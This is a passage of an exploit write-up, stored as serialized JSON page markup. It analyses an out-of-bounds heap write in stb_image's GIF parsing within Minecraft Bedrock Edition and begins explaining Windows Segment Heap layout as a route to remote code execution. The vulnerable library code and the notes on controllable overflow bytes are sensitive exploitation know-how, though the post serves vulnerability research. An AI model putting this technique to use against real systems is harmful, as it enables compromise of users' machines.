",{"type":26,"tag":217,"props":10963,"children":10964},{"style":7054},[10965],{"type":32,"value":10966},"pal",{"type":26,"tag":217,"props":10968,"children":10969},{"style":7048},[10970],{"type":32,"value":7127},{"type":26,"tag":217,"props":10972,"children":10973},{"style":7130},[10974],{"type":32,"value":10975},"256",{"type":26,"tag":217,"props":10977,"children":10978},{"style":7048},[10979],{"type":32,"value":10980},"][",{"type":26,"tag":217,"props":10982,"children":10983},{"style":7130},[10984],{"type":32,"value":10985},"4",{"type":26,"tag":217,"props":10987,"children":10988},{"style":7048},[10989],{"type":32,"value":10990},"],",{"type":26,"tag":217,"props":10992,"children":10993},{"style":7033},[10994],{"type":32,"value":10995},"    // g->color_table\n",{"type":26,"tag":217,"props":10997,"children":10998},{"class":7028,"line":7140},[10999,11003,11008],{"type":26,"tag":217,"props":11000,"children":11001},{"style":7154},[11002],{"type":32,"value":9667},{"type":26,"tag":217,"props":11004,"children":11005},{"style":7054},[11006],{"type":32,"value":11007}," num_entries",{"type":26,"tag":217,"props":11009,"children":11010},{"style":7048},[11011],{"type":32,"value":10953},{"type":26,"tag":217,"props":11013,"children":11014},{"class":7028,"line":7165},[11015,11019],{"type":26,"tag":217,"props":11016,"children":11017},{"style":7154},[11018],{"type":32,"value":9667},{"type":26,"tag":217,"props":11020,"children":11021},{"style":7048},[11022],{"type":32,"value":11023}," transp\n",{"type":26,"tag":217,"props":11025,"children":11026},{"class":7028,"line":7178},[11027],{"type":26,"tag":217,"props":11028,"children":11029},{"style":7048},[11030],{"type":32,"value":7618},{"type":26,"tag":217,"props":11032,"children":11033},{"class":7028,"line":7389},[11034,11038],{"type":26,"tag":217,"props":11035,"children":11036},{"style":7154},[11037],{"type":32,"value":10067},{"type":26,"tag":217,"props":11039,"children":11040},{"style":7048},[11041],{"type":32,"value":11042}," i;\n",{"type":26,"tag":217,"props":11044,"children":11045},{"class":7028,"line":7406},[11046,11051,11056,11060,11064,11069,11073,11078,11083],{"type":26,"tag":217,"props":11047,"children":11048},{"style":7042},[11049],{"type":32,"value":11050},"   for",{"type":26,"tag":217,"props":11052,"children":11053},{"style":7048},[11054],{"type":32,"value":11055}," (i",{"type":26,"tag":217,"props":11057,"children":11058},{"style":7149},[11059],{"type":32,"value":267},{"type":26,"tag":217,"props":11061,"children":11062},{"style":7130},[11063],{"type":32,"value":1883},{"type":26,"tag":217,"props":11065,"children":11066},{"style":7048},[11067],{"type":32,"value":11068},"; i ",{"type":26,"tag":217,"props":11070,"children":11071},{"style":7149},[11072],{"type":32,"value":7289},{"type":26,"tag":217,"props":11074,"children":11075},{"style":7048},[11076],{"type":32,"value":11077}," num_entries; ",{"type":26,"tag":217,"props":11079,"children":11080},{"style":7149},[11081],{"type":32,"value":11082},"++",{"type":26,"tag":217,"props":11084,"children":11085},{"style":7048},[11086],{"type":32,"value":11087},"i) {\n",{"type":26,"tag":217,"props":11089,"children":11090},{"class":7028,"line":7439},[11091,11096,11101,11105,11109,11113,11118],{"type":26,"tag":217,"props":11092,"children":11093},{"style":7054},[11094],{"type":32,"value":11095},"      pal",{"type":26,"tag":217,"props":11097,"children":11098},{"style":7048},[11099],{"type":32,"value":11100},"[i][",{"type":26,"tag":217,"props":11102,"children":11103},{"style":7130},[11104],{"type":32,"value":332},{"type":26,"tag":217,"props":11106,"children":11107},{"style":7048},[11108],{"type":32,"value":10276},{"type":26,"tag":217,"props":11110,"children":11111},{"style":7149},[11112],{"type":32,"value":267},{"type":26,"tag":217,"props":11114,"children":11115},{"style":7064},[11116],{"type":32,"value":11117}," stbi__get8",{"type":26,"tag":217,"props":11119,"children":11120},{"style":7048},[11121],{"type":32,"value":11122},"(s);\n",{"type":26,"tag":217,"props":11124,"children":11125},{"class":7028,"line":7487},[11126,11130,11134,11138,11142,11146,11150],{"type":26,"tag":217,"props":11127,"children":11128},{"style":7054},[11129],{"type":32,"value":11095},{"type":26,"tag":217,"props":11131,"children":11132},{"style":7048},[11133],{"type":32,"value":11100},{"type":26,"tag":217,"props":11135,"children":11136},{"style":7130},[11137],{"type":32,"value":185},{"type":26,"tag":217,"props":11139,"children":11140},{"style":7048},[11141],{"type":32,"value":10276},{"type":26,"tag":217,"props":11143,"children":11144},{"style":7149},[11145],{"type":32,"value":267},{"type":26,"tag":217,"props":11147,"children":11148},{"style":7064},[11149],{"type":32,"value":11117},{"type":26,"tag":217,"props":11151,"children":11152},{"style":7048},[11153],{"type":32,"value":11122},{"type":26,"tag":217,"props":11155,"children":11156},{"class":7028,"line":7524},[11157,11161,11165,11169,11173,11177,11181],{"type":26,"tag":217,"props":11158,"children":11159},{"style":7054},[11160],{"type":32,"value":11095},{"type":26,"tag":217,"props":11162,"children":11163},{"style":7048},[11164],{"type":32,"value":11100},{"type":26,"tag":217,"props":11166,"children":11167},{"style":7130},[11168],{"type":32,"value":1883},{"type":26,"tag":217,"props":11170,"children":11171},{"style":7048},[11172],{"type":32,"value":10276},{"type":26,"tag":217,"props":11174,"children":11175},{"style":7149},[11176],{"type":32,"value":267},{"type":26,"tag":217,"props":11178,"children":11179},{"style":7064},[11180],{"type":32,"value":11117},{"type":26,"tag":217,"props":11182,"children":11183},{"style":7048},[11184],{"type":32,"value":11122},{"type":26,"tag":217,"props":11186,"children":11187},{"class":7028,"line":7553},[11188,11192,11196,11200,11204,11208,11213,11217,11222,11226,11230,11234,11239],{"type":26,"tag":217,"props":11189,"children":11190},{"style":7054},[11191],{"type":32,"value":11095},{"type":26,"tag":217,"props":11193,"children":11194},{"style":7048},[11195],{"type":32,"value":11100},{"type":26,"tag":217,"props":11197,"children":11198},{"style":7130},[11199],{"type":32,"value":10676},{"type":26,"tag":217,"props":11201,"children":11202},{"style":7048},[11203],{"type":32,"value":10276},{"type":26,"tag":217,"props":11205,"children":11206},{"style":7149},[11207],{"type":32,"value":267},{"type":26,"tag":217,"props":11209,"children":11210},{"style":7048},[11211],{"type":32,"value":11212}," transp ",{"type":26,"tag":217,"props":11214,"children":11215},{"style":7149},[11216],{"type":32,"value":9106},{"type":26,"tag":217,"props":11218,"children":11219},{"style":7048},[11220],{"type":32,"value":11221}," i ",{"type":26,"tag":217,"props":11223,"children":11224},{"style":7149},[11225],{"type":32,"value":605},{"type":26,"tag":217,"props":11227,"children":11228},{"style":7130},[11229],{"type":32,"value":9922},{"type":26,"tag":217,"props":11231,"children":11232},{"style":7149},[11233],{"type":32,"value":9124},{"type":26,"tag":217,"props":11235,"children":11236},{"style":7130},[11237],{"type":32,"value":11238}," 255",{"type":26,"tag":217,"props":11240,"children":11241},{"style":7048},[11242],{"type":32,"value":7162},{"type":26,"tag":217,"props":11244,"children":11245},{"class":7028,"line":7570},[11246],{"type":26,"tag":217,"props":11247,"children":11248},{"style":7048},[11249],{"type":32,"value":10864},{"type":26,"tag":217,"props":11251,"children":11252},{"class":7028,"line":7621},[11253],{"type":26,"tag":217,"props":11254,"children":11255},{"style":7048},[11256],{"type":32,"value":7184},{"type":26,"tag":39,"props":11258,"children":11259},{},[11260,11262,11267,11268,11274,11276,11282],{"type":32,"value":11261},"The first three bytes are read from the input image, while the last byte can be either ",{"type":26,"tag":83,"props":11263,"children":11265},{"className":11264},[],[11266],{"type":32,"value":1883},{"type":32,"value":9438},{"type":26,"tag":83,"props":11269,"children":11271},{"className":11270},[],[11272],{"type":32,"value":11273},"255",{"type":32,"value":11275},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":26,"tag":83,"props":11277,"children":11279},{"className":11278},[],[11280],{"type":32,"value":11281},"128",{"type":32,"value":1473},{"type":26,"tag":207,"props":11284,"children":11286},{"code":11285,"language":2255,"meta":8,"className":9574,"style":8},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[11287],{"type":26,"tag":83,"props":11288,"children":11289},{"__ignoreMap":8},[11290,11353,11392,11431,11470,11509,11548],{"type":26,"tag":217,"props":11291,"children":11292},{"class":7028,"line":7029},[11293,11297,11301,11305,11309,11313,11317,11321,11325,11329,11333,11337,11341,11345,11349],{"type":26,"tag":217,"props":11294,"children":11295},{"style":7048},[11296],{"type":32,"value":10591},{"type":26,"tag":217,"props":11298,"children":11299},{"style":7149},[11300],{"type":32,"value":267},{"type":26,"tag":217,"props":11302,"children":11303},{"style":7149},[11304],{"type":32,"value":10222},{"type":26,"tag":217,"props":11306,"children":11307},{"style":7048},[11308],{"type":32,"value":10011},{"type":26,"tag":217,"props":11310,"children":11311},{"style":7149},[11312],{"type":32,"value":10115},{"type":26,"tag":217,"props":11314,"children":11315},{"style":7054},[11316],{"type":32,"value":10612},{"type":26,"tag":217,"props":11318,"children":11319},{"style":7048},[11320],{"type":32,"value":7127},{"type":26,"tag":217,"props":11322,"children":11323},{"style":7054},[11324],{"type":32,"value":10011},{"type":26,"tag":217,"props":11326,"children":11327},{"style":7048},[11328],{"type":32,"value":10115},{"type":26,"tag":217,"props":11330,"children":11331},{"style":7054},[11332],{"type":32,"value":10629},{"type":26,"tag":217,"props":11334,"children":11335},{"style":7048},[11336],{"type":32,"value":10634},{"type":26,"tag":217,"props":11338,"children":11339},{"style":7054},[11340],{"type":32,"value":10639},{"type":26,"tag":217,"props":11342,"children":11343},{"style":7149},[11344],{"type":32,"value":9690},{"type":26,"tag":217,"props":11346,"children":11347},{"style":7130},[11348],{"type":32,"value":10271},{"type":26,"tag":217,"props":11350,"children":11351},{"style":7048},[11352],{"type":32,"value":10652},{"type":26,"tag":217,"props":11354,"children":11355},{"class":7028,"line":6770},[11356,11360,11364,11368,11372,11376,11380,11384,11388],{"type":26,"tag":217,"props":11357,"children":11358},{"style":7042},[11359],{"type":32,"value":10102},{"type":26,"tag":217,"props":11361,"children":11362},{"style":7048},[11363],{"type":32,"value":7051},{"type":26,"tag":217,"props":11365,"children":11366},{"style":7054},[11367],{"type":32,"value":2255},{"type":26,"tag":217,"props":11369,"children":11370},{"style":7048},[11371],{"type":32,"value":7127},{"type":26,"tag":217,"props":11373,"children":11374},{"style":7130},[11375],{"type":32,"value":10676},{"type":26,"tag":217,"props":11377,"children":11378},{"style":7048},[11379],{"type":32,"value":10276},{"type":26,"tag":217,"props":11381,"children":11382},{"style":7149},[11383],{"type":32,"value":5903},{"type":26,"tag":217,"props":11385,"children":11386},{"style":7130},[11387],{"type":32,"value":10689},{"type":26,"tag":217,"props":11389,"children":11390},{"style":7048},[11391],{"type":32,"value":7618},{"type":26,"tag":217,"props":11393,"children":11394},{"class":7028,"line":6779},[11395,11399,11403,11407,11411,11415,11419,11423,11427],{"type":26,"tag":217,"props":11396,"children":11397},{"style":7054},[11398],{"type":32,"value":10701},{"type":26,"tag":217,"props":11400,"children":11401},{"style":7048},[11402],{"type":32,"value":7127},{"type":26,"tag":217,"props":11404,"children":11405},{"style":7130},[11406],{"type":32,"value":1883},{"type":26,"tag":217,"props":11408,"children":11409},{"style":7048},[11410],{"type":32,"value":10276},{"type":26,"tag":217,"props":11412,"children":11413},{"style":7149},[11414],{"type":32,"value":267},{"type":26,"tag":217,"props":11416,"children":11417},{"style":7054},[11418],{"type":32,"value":8511},{"type":26,"tag":217,"props":11420,"children":11421},{"style":7048},[11422],{"type":32,"value":7127},{"type":26,"tag":217,"props":11424,"children":11425},{"style":7130},[11426],{"type":32,"value":332},{"type":26,"tag":217,"props":11428,"children":11429},{"style":7048},[11430],{"type":32,"value":10652},{"type":26,"tag":217,"props":11432,"children":11433},{"class":7028,"line":7140},[11434,11438,11442,11446,11450,11454,11458,11462,11466],{"type":26,"tag":217,"props":11435,"children":11436},{"style":7054},[11437],{"type":32,"value":10701},{"type":26,"tag":217,"props":11439,"children":11440},{"style":7048},[11441],{"type":32,"value":7127},{"type":26,"tag":217,"props":11443,"children":11444},{"style":7130},[11445],{"type":32,"value":185},{"type":26,"tag":217,"props":11447,"children":11448},{"style":7048},[11449],{"type":32,"value":10276},{"type":26,"tag":217,"props":11451,"children":11452},{"style":7149},[11453],{"type":32,"value":267},{"type":26,"tag":217,"props":11455,"children":11456},{"style":7054},[11457],{"type":32,"value":8511},{"type":26,"tag":217,"props":11459,"children":11460},{"style":7048},[11461],{"type":32,"value":7127},{"type":26,"tag":217,"props":11463,"children":11464},{"style":7130},[11465],{"type":32,"value":185},{"type":26,"tag":217,"props":11467,"children":11468},{"style":7048},[11469],{"type":32,"value":10652},{"type":26,"tag":217,"props":11471,"children":11472},{"class":7028,"line":7165},[11473,11477,11481,11485,11489,11493,11497,11501,11505],{"type":26,"tag":217,"props":11474,"children":11475},{"style":7054},[11476],{"type":32,"value":10701},{"type":26,"tag":217,"props":11478,"children":11479},{"style":7048},[11480],{"type":32,"value":7127},{"type":26,"tag":217,"props":11482,"children":11483},{"style":7130},[11484],{"type":32,"value":332},{"type":26,"tag":217,"props":11486,"children":11487},{"style":7048},[11488],{"type":32,"value":10276},{"type":26,"tag":217,"props":11490,"children":11491},{"style":7149},[11492],{"type":32,"value":267},{"type":26,"tag":217,"props":11494,"children":11495},{"style":7054},[11496],{"type":32,"value":8511},{"type":26,"tag":217,"props":11498,"children":11499},{"style":7048},[11500],{"type":32,"value":7127},{"type":26,"tag":217,"props":11502,"children":11503},{"style":7130},[11504],{"type":32,"value":1883},{"type":26,"tag":217,"props":11506,"children":11507},{"style":7048},[11508],{"type":32,"value":10652},{"type":26,"tag":217,"props":11510,"children":11511},{"class":7028,"line":7178},[11512,11516,11520,11524,11528,11532,11536,11540,11544],{"type":26,"tag":217,"props":11513,"children":11514},{"style":7054},[11515],{"type":32,"value":10701},{"type":26,"tag":217,"props":11517,"children":11518},{"style":7048},[11519],{"type":32,"value":7127},{"type":26,"tag":217,"props":11521,"children":11522},{"style":7130},[11523],{"type":32,"value":10676},{"type":26,"tag":217,"props":11525,"children":11526},{"style":7048},[11527],{"type":32,"value":10276},{"type":26,"tag":217,"props":11529,"children":11530},{"style":7149},[11531],{"type":32,"value":267},{"type":26,"tag":217,"props":11533,"children":11534},{"style":7054},[11535],{"type":32,"value":8511},{"type":26,"tag":217,"props":11537,"children":11538},{"style":7048},[11539],{"type":32,"value":7127},{"type":26,"tag":217,"props":11541,"children":11542},{"style":7130},[11543],{"type":32,"value":10676},{"type":26,"tag":217,"props":11545,"children":11546},{"style":7048},[11547],{"type":32,"value":10652},{"type":26,"tag":217,"props":11549,"children":11550},{"class":7028,"line":7389},[11551],{"type":26,"tag":217,"props":11552,"children":11553},{"style":7048},[11554],{"type":32,"value":10864},{"type":26,"tag":39,"props":11556,"children":11557},{},[11558,11560,11565,11567,11572,11574,11579],{"type":32,"value":11559},"This means that ",{"type":26,"tag":83,"props":11561,"children":11563},{"className":11562},[],[11564],{"type":32,"value":10903},{"type":32,"value":11566}," has to set the last byte to ",{"type":26,"tag":83,"props":11568,"children":11570},{"className":11569},[],[11571],{"type":32,"value":11273},{"type":32,"value":11573}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":26,"tag":83,"props":11575,"children":11577},{"className":11576},[],[11578],{"type":32,"value":11273},{"type":32,"value":180},{"type":26,"tag":39,"props":11581,"children":11582},{},[11583,11585,11590,11592,11598,11599,11605],{"type":32,"value":11584},"In the code we can see that size of the ",{"type":26,"tag":83,"props":11586,"children":11588},{"className":11587},[],[11589],{"type":32,"value":10356},{"type":32,"value":11591}," allocation is controlled through ",{"type":26,"tag":83,"props":11593,"children":11595},{"className":11594},[],[11596],{"type":32,"value":11597},"g->w",{"type":32,"value":1308},{"type":26,"tag":83,"props":11600,"children":11602},{"className":11601},[],[11603],{"type":32,"value":11604},"g->h",{"type":32,"value":11606}," values, both of which are read from the input file itself:",{"type":26,"tag":207,"props":11608,"children":11610},{"code":11609,"language":2255,"meta":8,"className":9574,"style":8},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[11611],{"type":26,"tag":83,"props":11612,"children":11613},{"__ignoreMap":8},[11614,11639,11646,11653,11689,11736],{"type":26,"tag":217,"props":11615,"children":11616},{"class":7028,"line":7029},[11617,11621,11626,11630,11634],{"type":26,"tag":217,"props":11618,"children":11619},{"style":7154},[11620],{"type":32,"value":9987},{"type":26,"tag":217,"props":11622,"children":11623},{"style":7048},[11624],{"type":32,"value":11625}," stbi_uc ",{"type":26,"tag":217,"props":11627,"children":11628},{"style":7149},[11629],{"type":32,"value":10006},{"type":26,"tag":217,"props":11631,"children":11632},{"style":7064},[11633],{"type":32,"value":9500},{"type":26,"tag":217,"props":11635,"children":11636},{"style":7048},[11637],{"type":32,"value":11638},"(...)\n",{"type":26,"tag":217,"props":11640,"children":11641},{"class":7028,"line":6770},[11642],{"type":26,"tag":217,"props":11643,"children":11644},{"style":7048},[11645],{"type":32,"value":10033},{"type":26,"tag":217,"props":11647,"children":11648},{"class":7028,"line":6779},[11649],{"type":26,"tag":217,"props":11650,"children":11651},{"style":7048},[11652],{"type":32,"value":10087},{"type":26,"tag":217,"props":11654,"children":11655},{"class":7028,"line":7140},[11656,11660,11664,11668,11672,11676,11681,11685],{"type":26,"tag":217,"props":11657,"children":11658},{"style":7042},[11659],{"type":32,"value":10102},{"type":26,"tag":217,"props":11661,"children":11662},{"style":7048},[11663],{"type":32,"value":7051},{"type":26,"tag":217,"props":11665,"children":11666},{"style":7054},[11667],{"type":32,"value":10011},{"type":26,"tag":217,"props":11669,"children":11670},{"style":7048},[11671],{"type":32,"value":10115},{"type":26,"tag":217,"props":11673,"children":11674},{"style":7054},[11675],{"type":32,"value":10235},{"type":26,"tag":217,"props":11677,"children":11678},{"style":7149},[11679],{"type":32,"value":11680}," ==",{"type":26,"tag":217,"props":11682,"children":11683},{"style":7130},[11684],{"type":32,"value":9922},{"type":26,"tag":217,"props":11686,"children":11687},{"style":7048},[11688],{"type":32,"value":7618},{"type":26,"tag":217,"props":11690,"children":11691},{"class":7028,"line":7165},[11692,11696,11700,11705,11710,11715,11719,11724,11728,11732],{"type":26,"tag":217,"props":11693,"children":11694},{"style":7042},[11695],{"type":32,"value":8953},{"type":26,"tag":217,"props":11697,"children":11698},{"style":7048},[11699],{"type":32,"value":7051},{"type":26,"tag":217,"props":11701,"children":11702},{"style":7149},[11703],{"type":32,"value":11704},"!",{"type":26,"tag":217,"props":11706,"children":11707},{"style":7064},[11708],{"type":32,"value":11709},"stbi__gif_header",{"type":26,"tag":217,"props":11711,"children":11712},{"style":7048},[11713],{"type":32,"value":11714},"(s, g, comp,",{"type":26,"tag":217,"props":11716,"children":11717},{"style":7130},[11718],{"type":32,"value":1883},{"type":26,"tag":217,"props":11720,"children":11721},{"style":7048},[11722],{"type":32,"value":11723},"))     ",{"type":26,"tag":217,"props":11725,"children":11726},{"style":7042},[11727],{"type":32,"value":10148},{"type":26,"tag":217,"props":11729,"children":11730},{"style":7130},[11731],{"type":32,"value":9922},{"type":26,"tag":217,"props":11733,"children":11734},{"style":7048},[11735],{"type":32,"value":7162},{"type":26,"tag":217,"props":11737,"children":11738},{"class":7028,"line":7178},[11739,11744,11748,11752,11756,11761,11765,11769,11774,11778,11782,11786,11790,11794,11798,11802,11806,11810,11814],{"type":26,"tag":217,"props":11740,"children":11741},{"style":7054},[11742],{"type":32,"value":11743},"      g",{"type":26,"tag":217,"props":11745,"children":11746},{"style":7048},[11747],{"type":32,"value":10115},{"type":26,"tag":217,"props":11749,"children":11750},{"style":7054},[11751],{"type":32,"value":10235},{"type":26,"tag":217,"props":11753,"children":11754},{"style":7149},[11755],{"type":32,"value":8993},{"type":26,"tag":217,"props":11757,"children":11758},{"style":7048},[11759],{"type":32,"value":11760}," (stbi_uc ",{"type":26,"tag":217,"props":11762,"children":11763},{"style":7149},[11764],{"type":32,"value":10006},{"type":26,"tag":217,"props":11766,"children":11767},{"style":7048},[11768],{"type":32,"value":8380},{"type":26,"tag":217,"props":11770,"children":11771},{"style":7064},[11772],{"type":32,"value":11773},"stbi__malloc",{"type":26,"tag":217,"props":11775,"children":11776},{"style":7048},[11777],{"type":32,"value":1851},{"type":26,"tag":217,"props":11779,"children":11780},{"style":7130},[11781],{"type":32,"value":10985},{"type":26,"tag":217,"props":11783,"children":11784},{"style":7149},[11785],{"type":32,"value":9690},{"type":26,"tag":217,"props":11787,"children":11788},{"style":7054},[11789],{"type":32,"value":10130},{"type":26,"tag":217,"props":11791,"children":11792},{"style":7048},[11793],{"type":32,"value":10115},{"type":26,"tag":217,"props":11795,"children":11796},{"style":7054},[11797],{"type":32,"value":2471},{"type":26,"tag":217,"props":11799,"children":11800},{"style":7149},[11801],{"type":32,"value":9690},{"type":26,"tag":217,"props":11803,"children":11804},{"style":7054},[11805],{"type":32,"value":10130},{"type":26,"tag":217,"props":11807,"children":11808},{"style":7048},[11809],{"type":32,"value":10115},{"type":26,"tag":217,"props":11811,"children":11812},{"style":7054},[11813],{"type":32,"value":2612},{"type":26,"tag":217,"props":11815,"children":11816},{"style":7048},[11817],{"type":32,"value":7669},{"type":26,"tag":39,"props":11819,"children":11820},{},[11821,11823,11828,11830,11835],{"type":32,"value":11822},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":26,"tag":83,"props":11824,"children":11826},{"className":11825},[],[11827],{"type":32,"value":10356},{"type":32,"value":11829}," and the value of ",{"type":26,"tag":83,"props":11831,"children":11833},{"className":11832},[],[11834],{"type":32,"value":39},{"type":32,"value":11836}," just before the OOB write happens:",{"type":26,"tag":207,"props":11838,"children":11840},{"code":11839},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[11841],{"type":26,"tag":83,"props":11842,"children":11843},{"__ignoreMap":8},[11844],{"type":32,"value":11839},{"type":26,"tag":39,"props":11846,"children":11847},{},[11848,11850,11855,11857,11862],{"type":32,"value":11849},"There are multiple within-bound writes to ",{"type":26,"tag":83,"props":11851,"children":11853},{"className":11852},[],[11854],{"type":32,"value":39},{"type":32,"value":11856},", but the last write happens just after the ",{"type":26,"tag":83,"props":11858,"children":11860},{"className":11859},[],[11861],{"type":32,"value":10356},{"type":32,"value":11863}," allocation.",{"type":26,"tag":607,"props":11865,"children":11867},{"id":11866},"summarizing-the-corruption",[11868],{"type":32,"value":11869},"Summarizing the Corruption",{"type":26,"tag":2040,"props":11871,"children":11872},{},[11873,11886,11914],{"type":26,"tag":2044,"props":11874,"children":11875},{},[11876,11878,11884],{"type":32,"value":11877},"A single ",{"type":26,"tag":83,"props":11879,"children":11881},{"className":11880},[],[11882],{"type":32,"value":11883},"0x01",{"type":32,"value":11885}," byte write OOB",{"type":26,"tag":2044,"props":11887,"children":11888},{},[11889,11891],{"type":32,"value":11890},"4-byte OOB write just above the allocated buffer\n",{"type":26,"tag":2040,"props":11892,"children":11893},{},[11894,11899,11909],{"type":26,"tag":2044,"props":11895,"children":11896},{},[11897],{"type":32,"value":11898},"First three bytes are controllable",{"type":26,"tag":2044,"props":11900,"children":11901},{},[11902,11904],{"type":32,"value":11903},"Last byte will be ",{"type":26,"tag":83,"props":11905,"children":11907},{"className":11906},[],[11908],{"type":32,"value":11273},{"type":26,"tag":2044,"props":11910,"children":11911},{},[11912],{"type":32,"value":11913},"Size of the allocation is controlled",{"type":26,"tag":2044,"props":11915,"children":11916},{},[11917,11919],{"type":32,"value":11918},"Both corruptions are done on a short-lived allocation\n",{"type":26,"tag":2040,"props":11920,"children":11921},{},[11922,11927],{"type":26,"tag":2044,"props":11923,"children":11924},{},[11925],{"type":32,"value":11926},"Allocated just before the image-parsing process",{"type":26,"tag":2044,"props":11928,"children":11929},{},[11930],{"type":32,"value":11931},"Freed immediately upon parsing completion",{"type":26,"tag":11933,"props":11934,"children":11935},"hr",{},[],{"type":26,"tag":39,"props":11937,"children":11938},{},[11939,11941,11948,11950,11957],{"type":32,"value":11940},"Note that this bug was already found before (",{"type":26,"tag":163,"props":11942,"children":11945},{"href":11943,"rel":11944},"https://github.com/nothings/stb/issues/656",[167],[11946],{"type":32,"value":11947},"Github Issue",{"type":32,"value":11949},") but we missed it at the time. It was later fixed in ",{"type":26,"tag":163,"props":11951,"children":11954},{"href":11952,"rel":11953},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[167],[11955],{"type":32,"value":11956},"this commit",{"type":32,"value":180},{"type":26,"tag":27,"props":11959,"children":11961},{"id":11960},"the-exploit",[11962],{"type":32,"value":11963},"The Exploit",{"type":26,"tag":39,"props":11965,"children":11966},{},[11967],{"type":32,"value":11968},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":26,"tag":39,"props":11970,"children":11971},{},[11972],{"type":32,"value":11973},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":26,"tag":607,"props":11975,"children":11977},{"id":11976},"searching-for-better-primitives",[11978],{"type":32,"value":11979},"Searching for Better Primitives",{"type":26,"tag":39,"props":11981,"children":11982},{},[11983],{"type":32,"value":11984},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":26,"tag":39,"props":11986,"children":11987},{},[11988,11990,11997],{"type":32,"value":11989},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":26,"tag":163,"props":11991,"children":11994},{"href":11992,"rel":11993},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[167],[11995],{"type":32,"value":11996},"UWP",{"type":32,"value":11998}," applications (such as Minecraft Bedrock Edition).",{"type":26,"tag":607,"props":12000,"children":12002},{"id":12001},"segment-heap",[12003],{"type":32,"value":12004},"Segment Heap",{"type":26,"tag":39,"props":12006,"children":12007},{},[12008,12010,12017],{"type":32,"value":12009},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":26,"tag":163,"props":12011,"children":12014},{"href":12012,"rel":12013},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[167],[12015],{"type":32,"value":12016},"this talk",{"type":32,"value":12018}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":26,"tag":631,"props":12020,"children":12022},{"id":12021},"low-fragmentation-heap",[12023],{"type":32,"value":12024},"Low Fragmentation Heap",{"type":26,"tag":39,"props":12026,"children":12027},{},[12028,12030,12036],{"type":32,"value":12029},"Low Fragmentation Heap (LFH) services allocations of ",{"type":26,"tag":83,"props":12031,"children":12033},{"className":12032},[],[12034],{"type":32,"value":12035},"0x3ff0",{"type":32,"value":12037}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":26,"tag":39,"props":12039,"children":12040},{},[12041],{"type":32,"value":12042},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":26,"tag":207,"props":12044,"children":12046},{"code":12045},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[12047],{"type":26,"tag":83,"props":12048,"children":12049},{"__ignoreMap":8},[12050],{"type":32,"value":12045},{"type":26,"tag":39,"props":12052,"children":12053},{},[12054],{"type":32,"value":12055},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":26,"tag":631,"props":12057,"children":12059},{"id":12058},"variable-size",[12060],{"type":32,"value":12061},"Variable Size",{"type":26,"tag":39,"props":12063,"children":12064},{},[12065,12067,12073,12075,12081],{"type":32,"value":12066},"This subsegment is used for allocation sizes from ",{"type":26,"tag":83,"props":12068,"children":12070},{"className":12069},[],[12071],{"type":32,"value":12072},"0x4000",{"type":32,"value":12074}," and up to ",{"type":26,"tag":83,"props":12076,"children":12078},{"className":12077},[],[12079],{"type":32,"value":12080},"0x20_000",{"type":32,"value":12082},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":26,"tag":207,"props":12084,"children":12086},{"code":12085},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[12087],{"type":26,"tag":83,"props":12088,"children":12089},{"__ignoreMap":8},[12090],{"type":32,"value":12085},{"type":26,"tag":39,"props":12092,"children":12093},{},[12094,12096,12102],{"type":32,"value":12095},"The header, 